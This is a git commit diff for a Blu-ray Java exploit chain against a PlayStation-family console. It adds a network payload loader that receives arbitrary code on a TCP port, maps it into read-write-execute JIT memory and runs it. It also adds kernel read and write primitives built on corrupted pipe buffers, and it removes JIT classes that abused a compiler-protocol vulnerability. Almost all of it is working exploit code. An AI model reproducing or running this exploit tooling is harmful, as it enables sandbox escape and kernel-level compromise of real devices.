Add payloader loader and clean up.

This commit is contained in:
Andy Nguyen 2024-12-06 13:57:11 +01:00
parent 84dfba6fd9
commit b241d36ef6
16 changed files with 315 additions and 479 deletions

View File

@ -13,20 +13,22 @@ LOADER_CLASSES = \
EXPLOIT_CLASSES = \
$(SRC)/com/bdjb/Exploit.java \
$(SRC)/com/bdjb/Screen.java \
$(SRC)/com/bdjb/Payload.java \
$(SRC)/com/bdjb/api/API.java \
$(SRC)/com/bdjb/api/KernelAPI.java \
$(SRC)/com/bdjb/api/Buffer.java \
$(SRC)/com/bdjb/api/Text.java \
$(SRC)/com/bdjb/api/Int8.java \
$(SRC)/com/bdjb/api/Int8Array.java \
$(SRC)/com/bdjb/api/Int16.java \
$(SRC)/com/bdjb/api/Int16Array.java \
$(SRC)/com/bdjb/api/Int32.java \
$(SRC)/com/bdjb/api/Int32Array.java \
$(SRC)/com/bdjb/api/Int64.java \
$(SRC)/com/bdjb/api/Int64Array.java \
$(SRC)/com/bdjb/api/UnsafeInterface.java \
$(SRC)/com/bdjb/api/UnsafeJdkImpl.java \
$(SRC)/com/bdjb/api/UnsafeSunImpl.java \
$(SRC)/com/bdjb/jit/AbstractJit.java \
$(SRC)/com/bdjb/jit/JitDefaultImpl.java \
$(SRC)/com/bdjb/jit/JitCompilerReceiverImpl.java \
$(SRC)/com/bdjb/exploit/sandbox/ExploitSandboxInterface.java \
$(SRC)/com/bdjb/exploit/sandbox/ExploitDefaultImpl.java \
$(SRC)/com/bdjb/exploit/sandbox/ExploitServiceProxyImpl.java \

View File

@ -3,8 +3,8 @@ OBJS = start.o payload.o
CC = gcc
OBJCOPY = objcopy
CFLAGS = -isystem freebsd-headers/include -Os -fno-stack-protector
LDFLAGS = -T linker.x -nostdlib -nostartfiles
CFLAGS = -DSMP -isystem freebsd-headers/include -Wl,--build-id=none -Os -fno-stack-protector -fcf-protection=none -fpic -fpie
LDFLAGS = -T linker.ld -nostartfiles -nostdlib
all: $(TARGET).bin

22
payload/linker.ld Normal file
View File

@ -0,0 +1,22 @@
OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64", "elf64-x86-64")
OUTPUT_ARCH(i386:x86-64)
ENTRY(_start)
PHDRS
{
text PT_LOAD ;
rodata PT_LOAD ;
data PT_LOAD ;
bss PT_LOAD ;
}
SECTIONS
{
.text : { *(.text) } :text
.rodata : { *(.rodata) *(.rodata.*) } :rodata
.data : { *(.data) } :data
.bss : { *(.bss) *(COMMON) } :bss
.shstrtab : { *(.shstrtab) }
/DISCARD/ : { *(*) }
}

View File

@ -1,14 +0,0 @@
OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64", "elf64-x86-64")
OUTPUT_ARCH(i386:x86-64)
ENTRY(_start)
SECTIONS
{
. = 0x916300000;
.text : { *(.text .text.*) }
. = 0x916304000;
.rodata : { *(.rodata .rodata.*) }
.data : { *(.data .data.*) }
.bss : { *(.bss .bss.*) }
}

View File

@ -7,15 +7,17 @@
#include <string.h>
#include <sys/socket.h>
#define LOG_IP "192.168.254.120"
#define LOG_IP "192.168.1.53"
#define LOG_PORT 1337
#define LIBC_MODULE_HANDLE 0x2
#define LIBKERNEL_MODULE_HANDLE 0x2001
#define PAGE_SIZE 0x4000
typedef int32_t SceKernelModule;
int (*sceKernelDlsym)(SceKernelModule handle, const char *symbol, void **addrp);
void *(*dlsym)(SceKernelModule handle, const char *symbol);
// libkernel functions
@ -162,8 +164,7 @@ int vsnprintf(char *restrict str, size_t size, const char *restrict format,
}
void resolve_imports(void) {
#define LIBKERNEL_RESOLVE(name) \
sceKernelDlsym(LIBKERNEL_MODULE_HANDLE, #name, (void **)&_##name)
#define LIBKERNEL_RESOLVE(name) _##name = dlsym(LIBKERNEL_MODULE_HANDLE, #name)
LIBKERNEL_RESOLVE(__error);
LIBKERNEL_RESOLVE(accept);
LIBKERNEL_RESOLVE(bind);
@ -177,18 +178,17 @@ void resolve_imports(void) {
LIBKERNEL_RESOLVE(write);
#undef LIBKERNEL_RESOLVE
#define LIBC_RESOLVE(name) \
sceKernelDlsym(LIBC_MODULE_HANDLE, #name, (void **)&_##name)
#define LIBC_RESOLVE(name) _##name = dlsym(LIBC_MODULE_HANDLE, #name)
LIBC_RESOLVE(calloc);
LIBC_RESOLVE(fclose);
LIBC_RESOLVE(fopen);
LIBC_RESOLVE(fread);
// LIBC_RESOLVE(free);
sceKernelDlsym(LIBC_MODULE_HANDLE, "free", (void **)&free);
free = dlsym(LIBC_MODULE_HANDLE, "free");
LIBC_RESOLVE(fseek);
LIBC_RESOLVE(ftell);
// LIBC_RESOLVE(malloc);
sceKernelDlsym(LIBC_MODULE_HANDLE, "malloc", (void **)&malloc);
malloc = dlsym(LIBC_MODULE_HANDLE, "malloc");
LIBC_RESOLVE(memcpy);
LIBC_RESOLVE(memset);
LIBC_RESOLVE(realloc);
@ -220,6 +220,7 @@ int printf(const char *__restrict fmt, ...) {
int puts(const char *str) {
write(log_sock, str, strlen(str));
write(log_sock, "\n", 1);
return 0;
}
@ -249,10 +250,82 @@ int init_log(void) {
void shutdown_log(void) { close(log_sock); }
int payload(void *dlsym) {
typedef struct {
void *dlsym;
uint64_t kaslr_offset;
int *master_pipe_fd;
int *victim_pipe_fd;
} PayloadArgs;
PayloadArgs *payload_args;
struct pipebuf {
uint32_t cnt;
uint32_t in;
uint32_t out;
uint32_t size;
uintptr_t buffer;
};
int corrupt_pipebuf(uint32_t cnt, uint32_t in, uint32_t out, uint32_t size,
uintptr_t buffer) {
struct pipebuf buf = {};
buf.cnt = cnt;
buf.in = in;
buf.out = out;
buf.size = size;
buf.buffer = buffer;
write(payload_args->master_pipe_fd[1], &buf, sizeof(buf));
return read(payload_args->master_pipe_fd[0], &buf, sizeof(buf));
}
int kread(void *dest, uintptr_t src, size_t n) {
corrupt_pipebuf(n, 0, 0, PAGE_SIZE, src);
return read(payload_args->victim_pipe_fd[0], dest, n);
}
int kwrite(uintptr_t dest, const void *src, size_t n) {
corrupt_pipebuf(0, 0, 0, PAGE_SIZE, dest);
return write(payload_args->victim_pipe_fd[1], src, n);
}
uint8_t kread8(uintptr_t addr) {
uint8_t val = 0;
kread(&val, addr, sizeof(val));
return val;
}
uint16_t kread16(uintptr_t addr) {
uint16_t val = 0;
kread(&val, addr, sizeof(val));
return val;
}
uint32_t kread32(uintptr_t addr) {
uint32_t val = 0;
kread(&val, addr, sizeof(val));
return val;
}
uint64_t kread64(uintptr_t addr) {
uint64_t val = 0;
kread(&val, addr, sizeof(val));
return val;
}
void kwrite8(uintptr_t addr, uint8_t val) { kwrite(addr, &val, sizeof(val)); }
void kwrite16(uintptr_t addr, uint16_t val) { kwrite(addr, &val, sizeof(val)); }
void kwrite32(uintptr_t addr, uint32_t val) { kwrite(addr, &val, sizeof(val)); }
void kwrite64(uintptr_t addr, uint64_t val) { kwrite(addr, &val, sizeof(val)); }
int payload(PayloadArgs *args) {
int ret;
sceKernelDlsym = dlsym;
payload_args = args;
dlsym = args->dlsym;
resolve_imports();
@ -260,7 +333,7 @@ int payload(void *dlsym) {
if (ret < 0)
return errno;
printf("payload entered\n");
printf("[+] Payload entered\n");
shutdown_log();

View File

@ -11,9 +11,15 @@ import com.bdjb.exploit.kernel.ExploitKernelInterface;
import com.bdjb.exploit.sandbox.ExploitDefaultImpl;
import com.bdjb.exploit.sandbox.ExploitSandboxInterface;
import com.bdjb.exploit.sandbox.ExploitServiceProxyImpl;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.net.ServerSocket;
import java.net.Socket;
public class Exploit {
private static final int PAYLOAD_PORT = 9021;
public static void main(Method screenPrintln) {
Screen.setRemotePrintln(screenPrintln);
Screen.println("[*] Escaping Java Sandbox...");
@ -51,5 +57,38 @@ public class Exploit {
continue;
}
}
while (true) {
try {
Screen.println("[*] Listening for payload on port " + PAYLOAD_PORT + "...");
ServerSocket serverSocket = new ServerSocket(PAYLOAD_PORT);
Socket socket = serverSocket.accept();
InputStream inputStream = socket.getInputStream();
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
byte[] buf = new byte[8192];
int total = 0;
int read;
while ((read = inputStream.read(buf)) > 0) {
outputStream.write(buf, 0, read);
total += read;
}
inputStream.close();
socket.close();
serverSocket.close();
Screen.println("[+] Received " + total + " bytes");
Screen.println("[*] Launching payload...");
Payload payload = new Payload(outputStream.toByteArray());
int ret = payload.execute();
Screen.println("[*] Payload exited: " + Integer.toHexString(ret));
} catch (Exception e) {
Screen.println("[-] Error: " + e.getMessage());
}
}
}
}

View File

@ -25,7 +25,7 @@ class Loader implements Runnable {
private static final int JAR_PORT = 9025;
static void startJarLoader() {
static void startLoader() {
new Thread(new Loader()).start();
}
@ -33,9 +33,9 @@ class Loader implements Runnable {
Screen.println("[+] bd-jb by theflow");
while (true) {
Screen.println("[*] Listening for JAR on port " + JAR_PORT + "...");
try {
Screen.println("[*] Listening for JAR on port " + JAR_PORT + "...");
ServerSocket serverSocket = new ServerSocket(JAR_PORT);
Socket socket = serverSocket.accept();
InputStream inputStream = socket.getInputStream();

View File

@ -29,7 +29,7 @@ public class LoaderXlet implements Xlet {
public void startXlet() {
screen.setVisible(true);
scene.setVisible(true);
Loader.startJarLoader();
Loader.startLoader();
}
public void pauseXlet() {

133
src/com/bdjb/Payload.java Normal file
View File

@ -0,0 +1,133 @@
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb;
import com.bdjb.api.API;
import com.bdjb.api.Buffer;
import com.bdjb.api.KernelAPI;
import com.bdjb.api.Int32;
import com.bdjb.api.Text;
public class Payload {
private static final String SCE_KERNEL_JIT_CREATE_SHARED_MEMORY_SYMBOL =
"sceKernelJitCreateSharedMemory";
private static final String MMAP_SYMBOL = "mmap";
private static final String MUNMAP_SYMBOL = "munmap";
private static final String CLOSE_SYMBOL = "close";
private static final String DLSYM_SYMBOL = "dlsym";
private static final int LIBPROSPERO_WRAPPER_MODULE_HANDLE = 0x3D;
private static final int PROT_READ = 0x1;
private static final int PROT_WRITE = 0x2;
private static final int PROT_EXEC = 0x4;
private static final int MAP_SHARED = 0x1;
private static final long MAP_FAILED = -1;
private static final int ALIGNMENT = 0x100000;
private static final API api;
private static final KernelAPI kapi = KernelAPI.getInstance();
static {
try {
api = API.getInstance();
} catch (Exception e) {
throw new ExceptionInInitializerError(e);
}
}
private final long sceKernelJitCreateSharedMemory;
private final long mmap;
private final long munmap;
private final long close;
private final byte[] payload;
public Payload(byte[] payload) {
sceKernelJitCreateSharedMemory =
api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SCE_KERNEL_JIT_CREATE_SHARED_MEMORY_SYMBOL);
mmap = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, MMAP_SYMBOL);
munmap = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, MUNMAP_SYMBOL);
close = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, CLOSE_SYMBOL);
if (sceKernelJitCreateSharedMemory == 0 || mmap == 0 || munmap == 0 || close == 0) {
throw new InternalError("symbols not found");
}
this.payload = payload;
}
private int sceKernelJitCreateSharedMemory(Text name, long len, int maxProt, Int32 fdOut) {
return (int)
api.call(
sceKernelJitCreateSharedMemory,
name.address(),
len,
maxProt,
fdOut != null ? fdOut.address() : 0);
}
private long mmap(long addr, long len, int prot, int flags, int fd, long offset) {
return api.call(mmap, addr, len, prot, flags, fd, offset);
}
private int munmap(long addr, long len) {
return (int) api.call(munmap, addr, len);
}
private int close(int fd) {
return (int) api.call(close, fd);
}
private long align(long x, long align) {
return (x + align - 1) & -align;
}
public int execute() {
long alignedSize = align(payload.length, ALIGNMENT);
Int32 handle = new Int32();
// Create JIT handle.
if (sceKernelJitCreateSharedMemory(
new Text("payload"), alignedSize, PROT_READ | PROT_WRITE | PROT_EXEC, handle)
!= 0) {
throw new InternalError("sceKernelJitCreateSharedMemory failed");
}
// Map payload.
long rwx =
mmap(0, alignedSize, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED, handle.get(), 0);
if (rwx == MAP_FAILED) {
throw new InternalError("mmap failed");
}
// Copy in payload.
api.memcpy(rwx, payload, payload.length);
// Close JIT handle.
close(handle.get());
// Prepare arguments.
Buffer args = new Buffer(0x20);
args.putLong(0x00, api.dlsym(LIBPROSPERO_WRAPPER_MODULE_HANDLE, DLSYM_SYMBOL));
args.putLong(0x08, kapi.getKaslrOffset());
args.putLong(0x10, kapi.getMasterPipeFd().address());
args.putLong(0x18, kapi.getVictimPipeFd().address());
// Execute payload.
int ret = (int) api.call(rwx, args.address());
// Unmap payload.
munmap(rwx, alignedSize);
return ret;
}
}

View File

@ -45,9 +45,9 @@ public final class API {
private static final int ARRAY_BASE_OFFSET = 0x18;
private static API instance;
private static final ThreadLocal callContexts = new ThreadLocal();
private static ThreadLocal callContexts = new ThreadLocal();
private static API instance;
private UnsafeInterface unsafe;
@ -133,7 +133,7 @@ public final class API {
__Ux86_64_setcontext = dlsym(LIBKERNEL_MODULE_HANDLE, UX86_64_SETCONTEXT_SYMBOL);
if (__Ux86_64_setcontext == 0) {
// In earlier versions, there's a bug where only the main executable's handle is used.
executableHandle = JVM_NativePath & ~(4 - 1);
executableHandle = JVM_NativePath & -4;
while (strcmp(executableHandle, UNSUPPORTED_DLOPEN_OPERATION_STRING) != 0) {
executableHandle += 4;
}
@ -183,8 +183,8 @@ public final class API {
long constants = read64(constMethod + 0x08);
short nameIndex = read16(constMethod + 0x2A);
short signatureIndex = read16(constMethod + 0x2C);
long nameSymbol = read64(constants + 0x40 + nameIndex * 8) & ~(2 - 1);
long signatureSymbol = read64(constants + 0x40 + signatureIndex * 8) & ~(2 - 1);
long nameSymbol = read64(constants + 0x40 + nameIndex * 8) & -2;
long signatureSymbol = read64(constants + 0x40 + signatureIndex * 8) & -2;
short nameLength = read16(nameSymbol + 0x00);
short signatureLength = read16(signatureSymbol + 0x00);
@ -207,8 +207,8 @@ public final class API {
long constants = read64(method + 0x18);
short nameIndex = read16(constMethod + 0x42);
short signatureIndex = read16(constMethod + 0x44);
long nameSymbol = read64(constants + 0x40 + nameIndex * 8) & ~(2 - 1);
long signatureSymbol = read64(constants + 0x40 + signatureIndex * 8) & ~(2 - 1);
long nameSymbol = read64(constants + 0x40 + nameIndex * 8) & -2;
long signatureSymbol = read64(constants + 0x40 + signatureIndex * 8) & -2;
short nameLength = read16(nameSymbol + 0x08);
short signatureLength = read16(signatureSymbol + 0x08);
@ -601,21 +601,20 @@ public final class API {
}
class CallContext {
long[] fakeClassOop;
long[] fakeClass;
long[] fakeKlass;
long[] fakeKlassVtable;
final long[] fakeClassOop;
final long[] fakeClass;
final long[] fakeKlass;
final long[] fakeKlassVtable;
long fakeClassOopAddr;
long fakeClassAddr;
long fakeKlassAddr;
long fakeKlassVtableAddr;
final long fakeClassOopAddr;
final long fakeClassAddr;
final long fakeKlassAddr;
final long fakeKlassVtableAddr;
private long[][] callContextArray = new long[4][0];
private long callcontextBuffer;
private final long callContextBuffer;
CallContext() {
callcontextBuffer =
callContextBuffer =
malloc(
ARRAY_BASE_OFFSET
+ Int64.SIZE
@ -625,12 +624,12 @@ public final class API {
+ 0x200
+ ARRAY_BASE_OFFSET
+ 0x400);
if (callcontextBuffer == 0) {
if (callContextBuffer == 0) {
throw new OutOfMemoryError("malloc failed");
}
// Get array addresses.
fakeClassOopAddr = callcontextBuffer + ARRAY_BASE_OFFSET;
fakeClassOopAddr = callContextBuffer + ARRAY_BASE_OFFSET;
fakeClassAddr = fakeClassOopAddr + Int64.SIZE + ARRAY_BASE_OFFSET;
fakeKlassAddr = fakeClassAddr + 0x100 + ARRAY_BASE_OFFSET;
fakeKlassVtableAddr = fakeKlassAddr + 0x200 + ARRAY_BASE_OFFSET;
@ -655,6 +654,7 @@ public final class API {
write64(fakeKlassAddr - 8, 0xFFFFFFFF);
write64(fakeKlassVtableAddr - 8, 0xFFFFFFFF);
long[][] callContextArray = new long[4][0];
long callContextArrayAddr = addrof(callContextArray) + ARRAY_BASE_OFFSET;
// Put array addresses into callContextArray.
@ -688,7 +688,7 @@ public final class API {
}
protected void finalize() {
free(callcontextBuffer);
free(callContextBuffer);
}
}
}

View File

@ -27,7 +27,7 @@ public class Buffer {
this.size = size;
}
public void finalize() {
protected void finalize() {
api.free(address);
}

View File

@ -34,6 +34,9 @@ public class KernelAPI {
}
}
private final Buffer victimPipebuf = new Buffer(PIPEBUF_SIZE);
private final Buffer tmp = new Buffer(PAGE_SIZE);
private long pipe;
private long read;
private long write;
@ -50,9 +53,6 @@ public class KernelAPI {
private int victimRpipeFd;
private int victimWpipeFd;
private Buffer victimPipebuf = new Buffer(PIPEBUF_SIZE);
private Buffer tmp = new Buffer(PAGE_SIZE);
private KernelAPI() {
this.init();
}

View File

@ -8,7 +8,7 @@
package com.bdjb.api;
public class Text extends Buffer {
private String text;
private final String text;
public Text(String text) {
super(text.length() + 1);

View File

@ -1,114 +0,0 @@
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb.jit;
import com.bdjb.api.API;
import java.io.RandomAccessFile;
abstract class AbstractJit {
public static final int PROT_NONE = 0x0;
public static final int PROT_READ = 0x1;
public static final int PROT_WRITE = 0x2;
public static final int PROT_EXEC = 0x4;
public static final int MAP_SHARED = 0x1;
public static final int MAP_PRIVATE = 0x2;
public static final int MAP_FIXED = 0x10;
public static final int MAP_ANONYMOUS = 0x1000;
public static final long MAP_FAILED = -1;
public static final int PAGE_SIZE = 0x4000;
public static final int ALIGNMENT = 0x100000;
protected static final int CHUNK_SIZE = 0x30;
protected static final API api;
private static final String MMAP_SYMBOL = "mmap";
static {
try {
api = API.getInstance();
} catch (Exception e) {
throw new ExceptionInInitializerError(e);
}
}
protected long mmap;
protected AbstractJit() {
mmap = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, MMAP_SYMBOL);
if (mmap == 0) {
throw new InternalError("symbols not found");
}
}
protected long mmap(long addr, long len, int prot, int flags, int fd, long offset) {
return api.call(mmap, addr, len, prot, flags, fd, offset);
}
protected long align(long x, long align) {
return (x + align - 1) & ~(align - 1);
}
protected abstract long jitMap(long size, long alignment);
protected abstract void jitCopy(long dest, byte[] src, long n);
public long mapPayload(String path, long dataSectionOffset) throws Exception {
RandomAccessFile file = new RandomAccessFile(path, "r");
if ((dataSectionOffset & (PAGE_SIZE - 1)) != 0) {
throw new IllegalArgumentException("unaligned data section offset");
}
if (dataSectionOffset < 0 || dataSectionOffset > file.length()) {
throw new IllegalArgumentException("invalid data section offset");
}
// Allocate JIT memory.
long address = jitMap(file.length(), ALIGNMENT);
byte[] chunk = new byte[CHUNK_SIZE];
// Copy .text section.
for (long i = 0; i < dataSectionOffset; i += chunk.length) {
api.memset(chunk, 0, chunk.length);
file.seek(i);
int read = file.read(chunk, 0, (int) Math.min(dataSectionOffset - i, chunk.length));
jitCopy(address + i, chunk, read);
}
// Map the .data section as RW.
if (mmap(
address + dataSectionOffset,
align(file.length() - dataSectionOffset, PAGE_SIZE),
PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS,
-1,
0)
== MAP_FAILED) {
throw new InternalError("mmap failed");
}
// Copy .data section.
for (long i = dataSectionOffset; i < file.length(); i += chunk.length) {
api.memset(chunk, 0, chunk.length);
file.seek(i);
int read = file.read(chunk, 0, (int) Math.min(file.length() - i, chunk.length));
api.memcpy(address + i, chunk, read);
}
return address;
}
}

View File

@ -1,174 +0,0 @@
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb.jit;
import com.bdjb.api.API;
import com.bdjb.api.Buffer;
import com.bdjb.api.Int8;
import com.bdjb.api.Text;
/**
* JIT implementation that exploits a vulnerability in the runtime-compiler protocol to copy data to
* executable memory.
*/
public final class JitCompilerReceiverImpl extends AbstractJit {
// We actually have 32MB of code memory, but reserve 8MB for Java JIT.
public static final int MAX_CODE_SIZE = 24 * 1024 * 1024;
private static final int SCE_KERNEL_MODULE_INFO_SIZE = 0x160;
private static final int COMPILER_AGENT_REQUEST_SIZE = 0x58;
private static final byte ACK_MAGIC_NUMBER = (byte) 0xAA;
private static final byte[] BUFFER_BLOB_CREATE_SEQ = {
(byte) 0x89, (byte) 0xF8, (byte) 0x49, (byte) 0x8B, (byte) 0x0F
};
private static final byte[] COMPILER_AGENT_SENDER_THREAD_SEQ = {
(byte) 0x4C, (byte) 0x8B, (byte) 0x70, (byte) 0x08, (byte) 0x41
};
private static final int BDJ_MODULE_HANDLE = 0;
private static final String SCE_KERNEL_GET_MODULE_INFO_SYMBOL = "sceKernelGetModuleInfo";
private static final String WRITE_SYMBOL = "write";
private static final String READ_SYMBOL = "read";
private static JitCompilerReceiverImpl instance;
private long sceKernelGetModuleInfo;
private long read;
private long write;
private long BufferBlob__create;
private int compilerAgentSocket;
private JitCompilerReceiverImpl() {
this.init();
}
public static synchronized JitCompilerReceiverImpl getInstance() {
if (instance == null) {
instance = new JitCompilerReceiverImpl();
}
return instance;
}
private void init() {
initSymbols();
initJitHelpers();
}
private void initSymbols() {
sceKernelGetModuleInfo =
api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SCE_KERNEL_GET_MODULE_INFO_SYMBOL);
read = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, READ_SYMBOL);
write = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, WRITE_SYMBOL);
if (sceKernelGetModuleInfo == 0 || read == 0 || write == 0) {
throw new InternalError("symbols not found");
}
}
private void initJitHelpers() {
Buffer modinfo = new Buffer(SCE_KERNEL_MODULE_INFO_SIZE);
modinfo.fill((byte) 0);
modinfo.putLong(0x00, SCE_KERNEL_MODULE_INFO_SIZE);
if (sceKernelGetModuleInfo(BDJ_MODULE_HANDLE, modinfo) != 0) {
throw new InternalError("sceKernelGetModuleInfo failed");
}
long bdjBase = modinfo.getLong(0x108);
int bdjSize = modinfo.getInt(0x110);
int i = 0;
while (i < bdjSize
&& api.memcmp(bdjBase + i, BUFFER_BLOB_CREATE_SEQ, BUFFER_BLOB_CREATE_SEQ.length) != 0) {
i++;
}
if (i == bdjSize) {
throw new InternalError("BufferBlob::create not found");
}
BufferBlob__create = bdjBase + i - 0x21;
i = 0;
while (i < bdjSize
&& api.memcmp(
bdjBase + i,
COMPILER_AGENT_SENDER_THREAD_SEQ,
COMPILER_AGENT_SENDER_THREAD_SEQ.length)
!= 0) {
i++;
}
if (i == bdjSize) {
throw new InternalError("compiler agent socket not found");
}
long compilerAgentSocketOpcode = bdjBase + i - 0x10;
compilerAgentSocket =
api.read32(compilerAgentSocketOpcode + api.read32(compilerAgentSocketOpcode + 0x3) + 0x7);
}
int sceKernelGetModuleInfo(int modid, Buffer info) {
return (int) api.call(sceKernelGetModuleInfo, modid, info != null ? info.address() : 0);
}
long write(int fd, Buffer buf, long nbytes) {
return api.call(write, fd, buf != null ? buf.address() : 0, nbytes);
}
long read(int fd, Buffer buf, long nbytes) {
return api.call(read, fd, buf != null ? buf.address() : 0, nbytes);
}
long BufferBlob__create(Text name, int buffer_size) {
return api.call(BufferBlob__create, name != null ? name.address() : 0, buffer_size);
}
protected long jitMap(long size, long alignment) {
if (size >= MAX_CODE_SIZE) {
throw new IllegalArgumentException("size too big");
}
long blob =
BufferBlob__create(new Text("jit"), (int) (align(size + 0x88 + alignment - 1, PAGE_SIZE)));
if (blob == 0) {
throw new OutOfMemoryError("BufferBlob__create failed");
}
long code = blob + api.read32(blob + 0x20);
return align(code, alignment);
}
protected void jitCopy(long dest, byte[] src, long n) {
Buffer req = new Buffer(COMPILER_AGENT_REQUEST_SIZE);
Int8 resp = new Int8();
byte[] chunk = new byte[CHUNK_SIZE];
for (long i = 0; i < n; i += chunk.length) {
api.memset(chunk, 0, chunk.length);
System.arraycopy(src, (int) i, chunk, 0, (int) Math.min(n - i, chunk.length));
req.fill((byte) 0);
req.put(0x00, chunk);
req.putLong(0x38, dest + i - 0x28);
if (write(compilerAgentSocket, req, req.size()) != req.size()) {
throw new InternalError("write failed");
}
resp.set((byte) 0);
if (read(compilerAgentSocket, resp, resp.size()) != resp.size()) {
throw new InternalError("read failed");
}
if (resp.get() != ACK_MAGIC_NUMBER) {
throw new AssertionError("wrong compiler response");
}
}
}
}

View File

@ -1,131 +0,0 @@
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb.jit;
import com.bdjb.api.API;
import com.bdjb.api.Buffer;
import com.bdjb.api.Int32;
import com.bdjb.api.Int64;
import com.bdjb.api.Text;
/** Default JIT implementation using SCE API. */
public final class JitDefaultImpl extends AbstractJit {
private static final String SCE_KERNEL_JIT_CREATE_SHARED_MEMORY_SYMBOL =
"sceKernelJitCreateSharedMemory";
private static final String SCE_KERNEL_JIT_CREATE_ALIAS_OF_SHARED_MEMORY_SYMBOL =
"sceKernelJitCreateAliasOfSharedMemory";
private static final String SCE_KERNEL_JIT_MAP_SHARED_MEMORY_SYMBOL =
"sceKernelJitMapSharedMemory";
private static JitDefaultImpl instance;
private long sceKernelJitCreateSharedMemory;
private long sceKernelJitCreateAliasOfSharedMemory;
private long sceKernelJitMapSharedMemory;
private Int32 sharedHandle = new Int32();
private Int32 aliasHandle = new Int32();
private long rx;
private long rw;
private JitDefaultImpl() {
sceKernelJitCreateSharedMemory =
api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SCE_KERNEL_JIT_CREATE_SHARED_MEMORY_SYMBOL);
sceKernelJitCreateAliasOfSharedMemory =
api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SCE_KERNEL_JIT_CREATE_ALIAS_OF_SHARED_MEMORY_SYMBOL);
sceKernelJitMapSharedMemory =
api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SCE_KERNEL_JIT_MAP_SHARED_MEMORY_SYMBOL);
if (sceKernelJitCreateSharedMemory == 0
|| sceKernelJitCreateAliasOfSharedMemory == 0
|| sceKernelJitMapSharedMemory == 0) {
throw new InternalError("symbols not found");
}
}
public static synchronized JitDefaultImpl getInstance() {
if (instance == null) {
instance = new JitDefaultImpl();
}
return instance;
}
int sceKernelJitCreateSharedMemory(Text name, long len, int maxProt, Int32 fdOut) {
return (int)
api.call(
sceKernelJitCreateSharedMemory,
name.address(),
len,
maxProt,
fdOut != null ? fdOut.address() : 0);
}
int sceKernelJitCreateAliasOfSharedMemory(int fd, int maxProt, Int32 fdOut) {
return (int)
api.call(
sceKernelJitCreateAliasOfSharedMemory,
fd,
maxProt,
fdOut != null ? fdOut.address() : 0);
}
int sceKernelJitMapSharedMemory(int fd, int prot, Int64 startOut) {
return (int)
api.call(sceKernelJitMapSharedMemory, fd, prot, startOut != null ? startOut.address() : 0);
}
protected long jitMap(long size, long alignment) {
if (sceKernelJitCreateSharedMemory(
new Text("jit"),
align(size + alignment - 1, PAGE_SIZE),
PROT_READ | PROT_WRITE | PROT_EXEC,
sharedHandle)
!= 0) {
throw new InternalError("sceKernelJitCreateSharedMemory failed");
}
if (sceKernelJitCreateAliasOfSharedMemory(
sharedHandle.get(), PROT_READ | PROT_WRITE, aliasHandle)
!= 0) {
throw new InternalError("sceKernelJitCreateAliasOfSharedMemory failed");
}
if ((rx =
mmap(
0,
align(size + alignment - 1, PAGE_SIZE),
PROT_READ | PROT_EXEC,
MAP_SHARED,
sharedHandle.get(),
0))
== MAP_FAILED) {
throw new InternalError("mmap failed");
}
rx = align(rx, alignment);
if ((rw =
mmap(
0,
align(size + alignment - 1, PAGE_SIZE),
PROT_READ | PROT_WRITE,
MAP_SHARED,
aliasHandle.get(),
0))
== MAP_FAILED) {
throw new InternalError("mmap failed");
}
rw = align(rw, alignment);
return rx;
}
protected void jitCopy(long dest, byte[] src, long n) {
api.memcpy(dest - rx + rw, src, n);
}
}